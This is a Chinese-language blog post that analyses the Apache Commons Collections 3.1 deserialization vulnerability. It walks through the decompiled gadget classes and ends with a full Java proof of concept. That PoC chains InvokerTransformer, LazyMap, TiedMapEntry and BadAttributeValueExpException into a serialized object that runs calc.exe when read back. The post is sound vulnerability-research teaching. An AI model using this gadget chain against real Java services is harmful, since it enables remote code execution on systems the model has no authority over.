f10@t's blog

Apache-Commons-Collections反序列化漏洞

字数统计: 2.3k阅读时长: 10 min
2019/09/10

Apache Commons Collections反序列化漏洞

环境搭建

通过Maven搭建就可以,该漏洞存在于Commons-Collections的3.21以下,这里我取3.1版本,IDE为Elipse。关于Elipse下的Maven安装

新建一个Maven webApp项目,其中的配置文件pom.xml如下所示,增加commons-collections的dependency选项就可以了,这样Maven就会在本地的仓库中检查是否有该依赖的包,没有就会去中心仓库下载到你设置的仓库位置。  

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
<project xmlns="http://maven.apache.org/POM/4.0.0" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/maven-v4_0_0.xsd">
<modelVersion>4.0.0</modelVersion>
<groupId>Common-Collections</groupId>
<artifactId>Common-Collections</artifactId>
<packaging>war</packaging>
<version>0.0.1-SNAPSHOT</version>
<name>Common-Collections Maven Webapp</name>
<url>http://maven.apache.org</url>
<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.1</version>
</dependency>
</dependencies>
<build>
<finalName>Common-Collections</finalName>
</build>
</project>

## 代码分析 这里使用jd-gui(Java Decompiler)来对Maven下载到仓库里的jar文件进行反编译并分析。 ### 引入

这个包使用来干什么的呢?可以认为是对常用的Java集合类进行了一个补充,如实现了Collection接口的子类:List,Queue等,此外定义了一些新的集合类,如Bag,BidiMap,同时拥有新版本的原有集合,比如FastArrayList,也提供了utils类,用于我们常用的集合操作,可以大大方便我们的日常编程。而这次的漏洞原因在于一个叫做InvokerTransformer的类中。该类的结构如下:

1
public class InvokerTransformer implements Transformer, Serializable

可以看到该类实现了Transformer接口,也实现了Sericalizable接口。前者定义如下:

1
2
3
public abstract interface Transformer {
public abstract Object transform(Object paramObject);
}

只有一个抽象方法transform,接受一个Object类型参数并返回一个Object类型参数。下来去看该类中该抽象方法的实现:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
public Object transform(Object input) {
if (input == null) {
return null;
}
try
{
Class cls = input.getClass(); //注意这里
Method method = cls.getMethod(this.iMethodName, this.iParamTypes);
return method.invoke(input, this.iArgs);
}
catch (NoSuchMethodException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' does not exist");
}
catch (IllegalAccessException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
}
catch (InvocationTargetException ex)
{
throw new FunctorException("InvokerTransformer: The method '" + this.iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
}
}

注意到该函数在传入的参数非空的情况下,会使用java的反射机制,获取传入的类的类型,并将iParamTypes类型的参数传入,选择input所属类的iMethodName方法。而IMethodName,IparamTypes这两个变量是实例化时就已经设置好了的:

1
2
3
4
5
6
7
8
9
10
11
12
13
private InvokerTransformer(String methodName)
{
this.iMethodName = methodName;
this.iParamTypes = null;
this.iArgs = null;
}

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args)
{
this.iMethodName = methodName;
this.iParamTypes = paramTypes;
this.iArgs = args;
}

这就为调用任何对象的方法提供了可能性。 ### 代码审计 但是单纯的靠这个tranform方法达到目的还不行,我们需要一个能够多次调用方法并且每次都返回一个对象,作为下一次调用的参数的办法。在Common-Collections中也提供了实现这样功能的类---ChainedTransformer

1
public class ChainedTransformer implements Transformer, Serializable
该类中有一个Transformer类型的数组:
1
private final Transformer[] iTransformers;
该类中对Transformer接口中的tansform方法的实现如下:
1
2
3
4
5
6
7
public Object transform(Object object)
{
for (int i = 0; i < this.iTransformers.length; i++) {
object = this.iTransformers[i].transform(object);
}
return object;
}
可以看到是一个递归的形式,每次会调用iTranformers这个数组中的每一个Transformer类型变量的transform方法。下面是一个小Demo,演示如何使用该类:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
package demo;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;

public class Demo1{

public static void main(String[] args) {
Transformer[] transformers = new Transformer[] {
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"C:\\Windows\\System32\\calc.exe"})
};

Transformer transformerChain = new ChainedTransformer(transformers);
transformerChain.transform(Runtime.getRuntime());
}

}
之后就会弹出计算器程序了。   

POC的构造

这里分析构造POC的一种方法,分别使用了LazyMap类和TransformedMap类。 ### 构造POC原理 该类的定义如下:

1
public class LazyMap extends AbstractMapDecorator implements Map, Serializable
该类继承了AbstactMapDecorator这个类,下面是这个类的描述:
1
2
3
4
5
6
7
8
9
10
11
12
13
public abstract class AbstractMapDecorator
implements Map {
protected transient Map map;

protected AbstractMapDecorator() {}

public AbstractMapDecorator(Map map)
{
if (map == null) {
throw new IllegalArgumentException("Map must not be null");
}
this.map = map;
}
该类是一个抽象类,也实现了Map接口,它的构造方法中会保存一个map类型的对象。下面来仔细看一下LazyMap中提供的方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//构造方法
protected LazyMap(Map map, Transformer factory)
{
super(map);
if (factory == null) {
throw new IllegalArgumentException("Factory must not be null");
}
this.factory = factory;
}

//get方法
public Object get(Object key)
{
if (!this.map.containsKey(key))
{
Object value = this.factory.transform(key); //protected final Transformer factory;
this.map.put(key, value);
return value;
}
return this.map.get(key);
}

可以看到在LazyMap中的get方法中,会返回指定的传入的key值所对应的value值,如果在维护的map中没有找到这个key所对应的键值,就会调用本类的factory的transform方法来为这个key在表中创建一个键值。

factory这个变量属于Transformer接口类,传入时当然先要具体实例化,但是具体使用该接口的哪一个子类来实例化对象,这是我们可以控制的。前面我们已经分析了ChainedTransformer这个类可以触发RCE,并且这个类实现了Transformer(public class ChainedTransformer implements Transformer, Serializable)所以我们可以从这里入手。现在的问题就变为了如何自动的来调用这个get()方法。

这里我们可以找到TiedMapEntry这个类,该类的定义以及利用点如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
//实现了Map.Entry这个内部接口类
public class TiedMapEntry implements Map.Entry, KeyValue, Serializable

//构造方法,传入Map对象,以及key值
public TiedMapEntry(Map map, Object key)
{
this.map = map;
this.key = key;
}

//toString方法
public String toString()
{
return getKey() + "=" + getValue();
}

//getKey方法
public Object getValue()
{
return this.map.get(this.key);
}

到这里就很明了了,传入LazyMap类的对象,并实例化TiedMapEntry一个对象,调用它的toString()方法(将该对象当做一个字符串使用的时候就会自动调用toString方法),这样就会调用我们传入的LazyMap类对象的get方法,紧接着上面的分析,如果不存在要这个key值,就会自行创建一个对应的键值,并将这个键值对存入map中。

到此get()方法的自动调用问题解决了,最后的问题就是怎么自动调用toString方法。这里找到了BadAttributeValueExpException这个类,其中有这么一个方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
ObjectInputStream.GetField gf = ois.readFields();
Object valObj = gf.get("val", null);

if (valObj == null) {
val = null;
} else if (valObj instanceof String) {
val= valObj;
} else if (System.getSecurityManager() == null
|| valObj instanceof Long
|| valObj instanceof Integer
|| valObj instanceof Float
|| valObj instanceof Double
|| valObj instanceof Byte
|| valObj instanceof Short
|| valObj instanceof Boolean) {
val = valObj.toString();
} else { // the serialized object is from a version without JDK-8019292 fix
val = System.identityHashCode(valObj) + "@" + valObj.getClass().getName();
}
}

可以看到在本类中会调用传进来的ois(ObjectInputStream)对象,并调用了他的readFields()方法。下面试Getfield的定义以及他的get方法:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
/**
* Provide access to the persistent fields read from the input stream.
*/
public static abstract class GetField

//该类的实现类GetFieldImpl
/**
* Default GetField implementation.
*/
private class GetFieldImpl extends GetField {
//省略其他代码
public Object get(String name, Object val) throws IOException {
int off = getFieldOffset(name, Object.class);
if (off >= 0) {
int objHandle = objHandles[off];
handles.markDependency(passHandle, objHandle);
return (handles.lookupException(objHandle) == null) ?
objVals[off] : null;
} else {
return val;
}
}
}
可以看到它会在反序列化后取出val对应的键值。最终得出的攻击链思路就是将BadAttributeValueExpException进行序列化,其中的val值设置为TiedMapEntry对象。

POC

下面给出基于上面分析的POC代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

/**
* @author lzwgiter
* @since 2021/09/20
*/
public class PoC {
public static void main(String[] args) throws Exception {
Transformer[] transformers = new Transformer[] {
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod",
new Class[] {String.class, Class[].class},
new Object[] {"getRuntime", new Class[0] }),
new InvokerTransformer("invoke",
new Class[] {Object.class, Object[].class },
new Object[] {null, new Object[0]}),
new InvokerTransformer("exec",
new Class[] {String.class},
new Object[] {"C:\\Windows\\System32\\calc.exe"})
};
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
Map lazyMap = LazyMap.decorate(map, transformerChain);
TiedMapEntry entry = new TiedMapEntry(lazyMap, "float");

BadAttributeValueExpException poc = new BadAttributeValueExpException(null);

Field valField = poc.getClass().getDeclaredField("val");
valField.setAccessible(true);
valField.set(poc, entry);

File f = new File("MalObject");
FileOutputStream fos = new FileOutputStream(f);
ObjectOutputStream oos = new ObjectOutputStream(fos);
oos.writeObject(poc);
oos.close();

FileInputStream fis = new FileInputStream(f);
ObjectInputStream ois = new ObjectInputStream(fis);
ois.readObject();
ois.close();
}
}

参考学习

https://www.jianshu.com/p/e922ea492ccd https://www.cnblogs.com/pengyan-9826/p/7767070.html https://p0sec.net/index.php/archives/121/ https://xz.aliyun.com/t/4558#toc-0

CATALOG
  1. 1. 环境搭建
  2. 2. POC的构造
  3. 3. POC
  4. 4. 参考学习